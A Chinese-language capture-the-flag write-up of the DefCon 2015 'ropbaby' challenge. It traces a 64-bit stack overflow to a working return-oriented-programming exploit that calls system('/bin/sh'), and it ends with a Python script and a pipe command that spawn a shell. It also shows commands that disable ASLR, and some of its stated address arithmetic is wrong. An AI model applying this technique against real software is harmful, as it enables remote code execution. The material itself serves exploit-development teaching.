DefCon2015 CTF ropbaby 题目分析

调试环境

image

程序分析

file命令查看文件信息

image

1
2
3
4
5
6
7
8
9
ELF格式文件 64位  
LSB:(Least Significant Bit): 最低有效位,小端模式
version 1(SYSV): 缩写SystemV Unix经典版本
pie Position-Independent-Executable :
能用来创建介于共享库和通常可执行代码之间的代码–能像共享库一样可重分配地址的程序.:
dynamically linked:动态链接方式
interpreter:ELF 规格要求,假如 PT_INTERP 存在的话,操作系统必须创建这个 interpreter文件的运行映射,interpreter /lib64/ld-linux-x86-64.so.2:so库文件来定位和加载动态库,如下↓
for GUN/Linux 2.6.24:内核 2.6.24.so库
stripped:剔除了符号表信息

image

1
2
3
4
5
6
7
8
9
10
11
使用gdb自带checksec查看文件安全策略,也可自己git单独下载
三项安全机制开启:NX PIE Fortify
1. Fority:其实是相对简单的检查,用于检查是否存在缓冲区溢出的错误。
2. NX:NX即No-eXecute(不可执行)的意思,类似于indows下DEP
基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不去执行恶意指令。
3. PIE:类似于Windows中的ASLR,可以防范基于Ret2libc方式的针对DEP的攻击。
内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
使用gcc编译器,编译命令可对其进行设置并且可调整PIE强度,不做详细介绍自行了解
  • 如下命令可关闭PIE
    • sysctl -w kernel.randomize_va_space=0
    • echo “0” > /proc/sys/kernel/randomize_va_space

开始调试

1
2
3
4
运行尝试寻找崩溃点
功能1,获得libc的基址 libc.so.6: 0x00007FFFF7FB04F0
功能2,获得函数的地址 Symbol system: 0x00007FFFF7E315D0
功能3,输入的地方,可能存在问题

image

1
功能点3发现崩溃点,buf大于8以上可能造成缓冲区溢出,并生成字符串测试崩溃

image
image

1
2
崩溃在 [#0] 0x555555554eb3 → ret ,如果不在调试器中运行程序会提示段错误.
查看rsp用户空间堆栈指针,要返回的是 bbbbbbbb 非法地址,x64程序前两位需为00

image

1
2
3
尝试改变rip被覆盖的地址
ulimit -c unlimited 核心转储 调试
echo -ne '3\n32\nAAAAAAAABBBBBB\0\0CCCCCCCCDDDDDDDD\n' | ./ropbaby

image

1
2
成功改变了rip地址
system地址 0x00007FFFF7E315D0

利用分析

  • linux_64与linux_86的区别主要有两点:
    • 首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
    • 其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。
  • x86-64的GCC调用约定将第一个参数放在寄存器rdi中.控制rip地址 echo -ne ‘3\n32\nAAAAAAAABBBBBB\x00\x00CCCCCCCCDDDDDDDD\n’ | ./ropbaby

获得rop地址:

  • ldd ropbaby 获得程序都调用哪些so文件,其中是否有存在 pop rdi;ret指令
    • 方式1: python ROPgadget.py –binary /lib/x86_64-linux-gnu/libc-2.27.so –only “pop rdi | ret”
    • 方式2:./rp-osx-x64 –unique -f /lib/x86_64-linux-gnu/libc-2.27.so -r 1 | grep “pop rdi”

找到rop链偏移地址 0x00000000000224df : pop rdi;ret

  • gadget_address 0x7ffff7e53aaf = 0x00007FFFF7E315D0 (功能2给出system_address) + 0x00000000000224df (找到的pop rdi ; ret偏移地址)

  • /bin/sh放到rdi中,需要清楚的地址

    1. ibc_address

    2. system_offset

    3. binsh_offset

    4. system_address

    5. binsh_address

    6. pop_rdi_retaddress

  • payload:‘A’*8 + gadget_address + binsh_address + system_address

寻找so文件中system函数地址与偏移

  • 方式1:nm -D /lib/x86_64-linux-gnu/libc-2.27.so | grep __libc_system 得出 00000000000435d0
  • 方式2:objdump -T /lib/x86_64-linux-gnu/libc-2.27.so | grep system
    image
  • 方式3:IDA类工具在导出表中查找

寻找so文件中/bin/sh的地址与偏移获得

  • 方式1:gdb find /b find /b 0x7ffff7dee000,0x7ffff7fa7000,’/‘,’b’,’i’,’n’,’/‘,’s’,’h’
    得到 0x7ffff7f6d573: “/bin/sh”
    image
    image
  • 方式2:strings -a -tx /lib/x86_64-linux-gnu/libc-2.27.so | grep /bin/sh 得到在so库中的偏移为:17f573 /bin/sh 固定不变 libc基地址+/bin/sh 偏移得到/bin/sh的地址
    image
  • 方式3:IDA类工具在导出表中查找

再次验证程序功能1所提供地址

image
执行完功能1,Ctrl+c进入调试器,然后输入info proc map找出libc基址,相当于用 cat /proc/pid/maps
image
加载libc的实际地址是 0x7ffff7dee000:”\177ELF\002\001\001\003”
image
在Linux系统上,基地址的前4个字节通常是“\x7fELF”或“\x7f\x45\x4c\x46”验证下是否一致,一致.
image
程序功能1原来程序功能1提供的是个指向实际的 libc 基地址 0x00007ffff7dee000
image

本地利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import struct

libc_base_addr = 0x00007ffff7dee000
system_offset = 0x00000000000435d0
binsh_offset = 0x0017f573
pop_rdi_ret_offset = 0x000224df

system_addr = libc_base_addr + system_offset
binsh_addr = libc_base_addr + binsh_offset
pop_rdi_ret_addr = libc_base_addr + pop_rdi_ret_offset

print "3" # Option 3: Load ROP CHAIN
print 32 # Size: 32 bytes
print struct.pack("LLLL", 0x00AAAAAAAA, pop_rdi_ret_addr, binsh_addr, system_addr)
py=struct.pack("LLLL", 0x00AAAAAAAA, pop_rdi_ret_addr, binsh_addr, system_addr)
print repr(py)
1
{ ./gadget.py; cat -;} | ./ropbaby

image

远程利用

  • savedregs是一个IDA关键字,表示保存的堆栈帧指针和函数返回地址.
  • radare2调试
  • IDA分析